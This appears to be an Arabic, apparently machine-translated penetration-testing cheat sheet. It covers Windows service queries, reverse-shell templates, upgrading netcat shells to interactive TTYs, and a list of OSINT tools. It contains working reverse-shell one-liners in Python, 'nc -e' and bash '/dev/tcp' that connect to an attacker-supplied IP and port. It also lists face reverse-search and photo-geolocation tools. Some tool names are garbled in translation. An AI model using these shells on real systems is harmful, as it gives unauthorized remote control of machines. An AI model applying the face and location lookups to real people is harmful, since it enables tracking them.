- ابحث عن الخدمات غير الموجودة ضمن حسابات النظام أو المسؤول
- خدمة الاستعلام
-
sc qc <service name>
- يعمل فقط في cmd.exe
استمع للقذيفة العكسية
قذيفة عكسية
- revshells.com
- قوالب لكل ما قد تحتاجه بشكل أساسي
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
nc -e /bin/sh <ip> <port>
-
bash -i >& /dev/tcp/<ip>/<port> 0>&1
احصل على غلاف تفاعلي
لينكس
- قم بتشغيل أمر python التالي لجعله تفاعليًا جزئيًا:
python -c 'import pty;pty.spawn("/bin/bash");'
- اخرج من جلسة netcat باستخدام
CTRL+Z
وقم بتشغيل stty raw -echo
محليًا - أعد الدخول إلى جلستك باستخدام الأمر
fg
(ومعرف الوظيفة بعد ذلك إذا لزم الأمر) - قم بتغيير المحاكي الطرفي الخاص بك إلى xterm عن طريق تشغيل
export TERM=xterm
(قد لا يكون هذا ضروريًا) - قم بتغيير Shell إلى bash عن طريق تشغيل
export SHELL=bash
(قد لا يكون هذا ضروريًا) - منتهي! الآن يجب أن تكون قوقعتك تفاعلية بالكامل
ويندوز / عام
- قم بتثبيت
rlwrap
على نظامك - الآن، في كل مرة تقوم فيها بتشغيل مستمع nc، فقط ضع
rlwrap
في المقدمة - على سبيل المثال:
rlwrap nc -lvnp 1337
- سيعطيك هذا مفاتيح الأسهم وسجل الأوامر، لكنه لن يوفر الإكمال التلقائي (على حد علمي) لأنظمة Windows و*nix
OSINT
- com.pimeeyes
- عكس وجوه البحث على شبكة الإنترنت
- إطار عمل OSINT
- موقع ويب يجمع الكثير من أدوات OSINT
- GeoSpy الذكاء الاصطناعي
- الرؤية الجغرافية المكانية LLM التي يمكنها تقدير الموقع فقط من الصورة
- تجاوز توربو
- موقع ويب يتيح لك الاستعلام عن واجهة برمجة تطبيقات OpenStreetMap وتصور النتائج
- بحث Bellingcat OSM
- موقع ويب يتيح لك الاستعلام بسهولة عن OSM API
متنوعات